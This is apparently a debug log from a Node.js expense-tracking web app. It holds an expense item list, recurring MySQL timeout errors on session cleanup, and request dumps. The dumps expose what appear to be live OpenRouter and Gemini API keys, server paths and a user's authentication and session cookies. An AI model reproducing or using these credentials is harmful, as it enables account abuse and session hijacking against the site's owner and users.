    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 11:20:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 11:20:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 11:53:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 11:53:46' as DATETIME)"
}
2026-03-05T14:15:31.385Z server-connect:router Serving templateView /
2026-03-05T14:15:31.386Z server-connect:app Executing action step identify
2026-03-05T14:15:31.386Z server-connect:app options: { provider: 'security' }
2026-03-05T14:15:31.387Z server-connect:auth No login cookie found
2026-03-05T14:15:31.387Z server-connect:output identity: false
2026-03-05T14:15:31.387Z server-connect:app Executing action step restrict
2026-03-05T14:15:31.387Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T14:15:31.388Z server-connect:output restrict: undefined
2026-03-05T14:15:31.529Z server-connect:router Serving templateView /login
2026-03-05T14:15:31.532Z server-connect:app Executing action step identify
2026-03-05T14:15:31.532Z server-connect:app options: { provider: 'security' }
2026-03-05T14:15:31.532Z server-connect:auth No login cookie found
2026-03-05T14:15:31.532Z server-connect:output identity: false
2026-03-05T14:15:31.532Z server-connect:router Render template layouts/authentication
2026-03-05T14:15:31.532Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '497761556',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.241.19',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T14:15:31.528Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.241.19',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '497761556',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.241.19',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-05T16:56:07.082Z server-connect:router Serving templateView /diecast-worksheet
2026-03-05T16:56:07.083Z server-connect:app Executing action step identify
2026-03-05T16:56:07.083Z server-connect:app options: { provider: 'security' }
2026-03-05T16:56:07.083Z server-connect:output identity: 1
2026-03-05T16:56:07.083Z server-connect:app Executing action step restrict
2026-03-05T16:56:07.083Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T16:56:07.086Z server-connect:output restrict: undefined
2026-03-05T16:56:07.086Z server-connect:router Render template layouts/main
2026-03-05T16:56:07.086Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 17:19:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 17:19:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 18:03:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 18:03:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 19:57:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 19:57:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 00:15:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 00:15:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 00:46:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 00:46:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 01:50:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
